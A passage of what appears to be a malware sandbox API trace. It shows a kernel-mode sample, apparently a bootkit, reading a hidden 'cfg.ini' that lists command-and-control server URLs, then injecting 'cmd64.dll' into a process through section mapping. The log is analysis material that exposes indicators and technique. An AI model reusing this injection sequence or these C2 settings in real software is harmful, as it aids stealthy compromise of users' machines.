ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0066.570] KeLeaveCriticalRegion () [0066.570] IofCompleteRequest (Irp=0xfffffa80018af570, PriorityBoost=0) [0066.570] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x197) returned 0xfffff8a0000ed820 [0066.570] _snprintf (in: _Dest=0xfffff88002f9d9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0066.570] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0066.570] _snprintf (in: _Dest=0xfffff88002f9d8c0, _Count=0x104, _Format="%s=" | out: _Dest="smss.exe (x64)=") returned 15 [0066.570] _strlwr (in: _Str="smss.exe (x64)=" | out: _Str="smss.exe (x64)=") returned="smss.exe (x64)=" [0066.570] ZwReadFile (in: FileHandle=0xffffffff80000160, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a0000ed820, BufferLength=0x196, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a0000ed820*) returned 0x0 [0066.570] _snprintf (in: _Dest=0xfffff88002f9d230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0066.570] KeEnterCriticalRegion () [0066.570] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0066.570] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88007f0e820 [0066.570] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.570] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003426010 [0066.570] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003426010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003426010) [0066.571] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0066.571] IdePortDispatch () returned 0x103 [0066.571] KeWaitForMutexObject () returned 0x0 [0066.571] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0066.571] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.571] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003426010 [0066.571] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003426010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003426010) [0066.571] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0066.571] IdePortDispatch () returned 0x103 [0066.571] KeWaitForMutexObject () returned 0x0 [0066.571] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0066.571] KeLeaveCriticalRegion () [0066.571] IofCompleteRequest (Irp=0xfffffa80018af570, PriorityBoost=0) [0066.571] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n" [0066.571] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="smss.exe (x64)=") returned 0x0 [0066.571] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880*=0x80000, RegionSize=0xfffff88002f9d888, FreeType=0x8000) returned 0x0 [0066.571] ExFreePoolWithTag (P=0xfffff8a0000ed820, Tag=0x0) [0066.571] ZwClose (Handle=0xffffffff80000160) returned 0x0 [0066.571] _snprintf (in: _Dest=0xfffff88002f9d310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0066.571] KeEnterCriticalRegion () [0066.571] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0066.571] IoGetRequestorProcess (Irp=0xfffffa80018af570) returned 0xfffffa80018ab040 [0066.571] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa8003447e20, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0066.571] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0066.571] KeLeaveCriticalRegion () [0066.571] IofCompleteRequest (Irp=0xfffffa80018af570, PriorityBoost=0) [0066.571] _snprintf (in: _Dest=0xfffff88002f9d330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0066.571] KeEnterCriticalRegion () [0066.571] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0066.571] ExFreePoolWithTag (P=0xfffffa8003432810, Tag=0x0) [0066.572] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0066.572] KeLeaveCriticalRegion () [0066.572] IofCompleteRequest (Irp=0xfffffa80018af570, PriorityBoost=0) [0066.572] ZwClose (Handle=0xffffffff80000178) returned 0x0 [0066.572] KeSetEvent (in: Event=0xfffffa800344c9a0, Increment=0x0, Wait=0 | out: Event=0xfffffa800344c9a0) returned 0 [0077.294] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\drivers\\luafv.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.466] ZwOpenProcess (in: ProcessHandle=0xfffff88002f9db70, DesiredAccess=0x1fffff, ObjectAttributes=0xfffff88002f9db30*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88002f9db20*(UniqueProcess=0x294, UniqueThread=0x0) | out: ProcessHandle=0xfffff88002f9db70*=0xffffffff800003a0) returned 0x0 [0077.466] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0077.466] ZwCreateFile (in: FileHandle=0xfffff88002f9db18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f9d7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9d7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f9db18*=0xffffffff80000368, IoStatusBlock=0xfffff88002f9d7a0) returned 0x0 [0077.466] _snprintf (in: _Dest=0xfffff88002f9cf10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0077.466] KeEnterCriticalRegion () [0077.466] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.466] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.466] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.466] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.466] KeInitializeEvent (in: Event=0xfffff88002f9cd80, Type=0x0, State=0 | out: Event=0xfffff88002f9cd80) [0077.466] IdePortDispatch () returned 0x103 [0077.466] KeWaitForMutexObject () returned 0x0 [0077.466] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0077.466] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0077.466] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0077.466] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0077.466] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80035fc150 [0077.466] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.466] KeLeaveCriticalRegion () [0077.467] IofCompleteRequest (Irp=0xfffffa8003566d20, PriorityBoost=0) [0077.467] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880, ZeroBits=0x0, RegionSize=0xfffff88002f9d888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888*=0x1000) returned 0x0 [0077.467] NtLockFile (in: FileHandle=0xffffffff80000368, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0077.467] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0077.467] KeEnterCriticalRegion () [0077.467] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.467] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa8003566d20, Context=0x0) returned 0x0 [0077.467] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.467] KeLeaveCriticalRegion () [0077.467] ZwQueryInformationFile (in: FileHandle=0xffffffff80000368, IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0) returned 0x0 [0077.467] _snprintf (in: _Dest=0xfffff88002f9d250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0077.467] KeEnterCriticalRegion () [0077.467] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.467] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.467] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.467] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.467] KeInitializeEvent (in: Event=0xfffff88002f9d0e0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0e0) [0077.467] IdePortDispatch () returned 0x103 [0077.467] KeWaitForMutexObject () returned 0x0 [0077.467] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0077.467] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.467] KeLeaveCriticalRegion () [0077.467] IofCompleteRequest (Irp=0xfffffa8003566d20, PriorityBoost=0) [0077.467] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x197) returned 0xfffff8a000ac1e60 [0077.467] _snprintf (in: _Dest=0xfffff88002f9d9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0077.467] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0077.467] _snprintf (in: _Dest=0xfffff88002f9d8c0, _Count=0x104, _Format="%s=" | out: _Dest="* (x64)=") returned 8 [0077.467] _strlwr (in: _Str="* (x64)=" | out: _Str="* (x64)=") returned="* (x64)=" [0077.467] ZwReadFile (in: FileHandle=0xffffffff80000368, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a000ac1e60, BufferLength=0x196, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a000ac1e60*) returned 0x0 [0077.467] _snprintf (in: _Dest=0xfffff88002f9d230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0077.467] KeEnterCriticalRegion () [0077.467] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.467] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b6e60 [0077.467] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.468] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa80035ccd60 [0077.468] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80035ccd60, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80035ccd60) [0077.468] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0077.468] IdePortDispatch () returned 0x103 [0077.468] KeWaitForMutexObject () returned 0x0 [0077.468] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0077.468] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.468] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa80035ccd60 [0077.468] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80035ccd60, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80035ccd60) [0077.468] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0077.468] IdePortDispatch () returned 0x103 [0077.468] KeWaitForMutexObject () returned 0x0 [0077.468] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.468] KeLeaveCriticalRegion () [0077.468] IofCompleteRequest (Irp=0xfffffa8003566d20, PriorityBoost=0) [0077.468] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n" [0077.468] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="* (x64)=") returned="* (x64)=cmd64.dll\r\n" [0077.468] strncpy (in: _Dest=0xfffffa800c1c5274, _Source="cmd64.dll", _Count=0x104 | out: _Dest="cmd64.dll") returned="cmd64.dll" [0077.468] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888, FreeType=0x8000) returned 0x0 [0077.468] ExFreePoolWithTag (P=0xfffff8a000ac1e60, Tag=0x0) [0077.468] ZwClose (Handle=0xffffffff80000368) returned 0x0 [0077.468] _snprintf (in: _Dest=0xfffff88002f9d310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0077.468] KeEnterCriticalRegion () [0077.468] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.468] IoGetRequestorProcess (Irp=0xfffffa8003566d20) returned 0xfffffa80018ab040 [0077.469] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa8003614890, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0077.469] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.469] KeLeaveCriticalRegion () [0077.469] IofCompleteRequest (Irp=0xfffffa8003566d20, PriorityBoost=0) [0077.469] _snprintf (in: _Dest=0xfffff88002f9d330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0077.469] KeEnterCriticalRegion () [0077.469] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.469] ExFreePoolWithTag (P=0xfffffa80035fc150, Tag=0x0) [0077.469] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.469] KeLeaveCriticalRegion () [0077.469] IofCompleteRequest (Irp=0xfffffa8003566d20, PriorityBoost=0) [0077.469] KeStackAttachProcess (in: PROCESS=0xfffffa80036184c0, ApcState=0xfffff88002f9da58 | out: PROCESS=0xfffffa80036184c0, ApcState=0xfffff88002f9da58) [0077.469] _snwprintf (in: _Dest=0xfffffa800c1c506c, _Count=0x103, _Format="%s\\%S" | out: _Dest="\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 35 [0077.469] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9da38, SourceString="\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cmd64.dll") [0077.469] ZwOpenFile (in: FileHandle=0xfffff88002f9d9e8, DesiredAccess=0x100001, ObjectAttributes=0xfffff88002f9da08*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cmd64.dll" (normalized: "\\device\\000001a9\\0d24eb7c\\cmd64.dll"), Attributes=0x240, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9da48, ShareAccess=0x1, OpenOptions=0x20 | out: FileHandle=0xfffff88002f9d9e8*=0xffffffff80000368, IoStatusBlock=0xfffff88002f9da48) returned 0x0 [0077.469] _snprintf (in: _Dest=0xfffff88002f9d150, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0077.469] KeEnterCriticalRegion () [0077.469] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.469] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.469] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.469] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.469] KeInitializeEvent (in: Event=0xfffff88002f9cfc0, Type=0x0, State=0 | out: Event=0xfffff88002f9cfc0) [0077.469] IdePortDispatch () returned 0x103 [0077.469] KeWaitForMutexObject () returned 0x0 [0077.469] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0077.469] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0077.469] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0077.469] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0077.469] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0077.469] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0077.469] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0077.469] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0077.469] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0077.470] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0077.470] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c1c5d90 [0077.470] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.470] KeLeaveCriticalRegion () [0077.470] IofCompleteRequest (Irp=0xfffffa8003566d20, PriorityBoost=0) [0077.470] ZwCreateSection (in: SectionHandle=0xfffff88002f9d9e0, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0xffffffff80000368 | out: SectionHandle=0xfffff88002f9d9e0*=0x14) returned 0x0 [0077.470] _snprintf (in: _Dest=0xfffff88002f9d260, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0077.470] KeEnterCriticalRegion () [0077.470] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.470] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.470] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.470] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.470] KeInitializeEvent (in: Event=0xfffff88002f9d0f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0f0) [0077.470] IdePortDispatch () returned 0x103 [0077.470] KeWaitForMutexObject () returned 0x0 [0077.470] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0077.470] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0077.470] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0077.470] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0077.470] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0077.470] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0077.470] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0077.470] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0077.470] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0077.470] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.470] KeLeaveCriticalRegion () [0077.470] IofCompleteRequest (Irp=0xfffffa8003566d20, PriorityBoost=0) [0077.470] ZwMapViewOfSection (in: SectionHandle=0x14, ProcessHandle=0xffffffff800003a0, BaseAddress=0xfffff88002f9d9d0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0xfffff88002f9da00, InheritDisposition=0x2, AllocationType=0x100000, AccessProtection=0x2 | out: BaseAddress=0xfffff88002f9d9d0*=0x7fffffa0000, SectionOffset=0x0, ViewSize=0xfffff88002f9da00*=0x6000) returned 0x0 [0077.470] RtlImageNtHeader (BaseAddress=0x7fffffa0000) returned 0x7fffffa0040 [0077.471] _snprintf (in: _Dest=0xfffff88002f9d390, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0077.471] KeEnterCriticalRegion () [0077.471] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.471] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b7000 [0077.471] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.471] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.471] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.471] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.471] IdePortDispatch () returned 0x103 [0077.471] KeWaitForMutexObject () returned 0x0 [0077.471] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0077.471] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0077.471] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0077.471] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0077.471] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0077.471] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0077.471] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0077.471] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0077.471] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0077.471] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.471] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.471] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.471] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.471] IdePortDispatch () returned 0x103 [0077.471] KeWaitForMutexObject () returned 0x0 [0077.472] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.472] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.472] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.472] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | 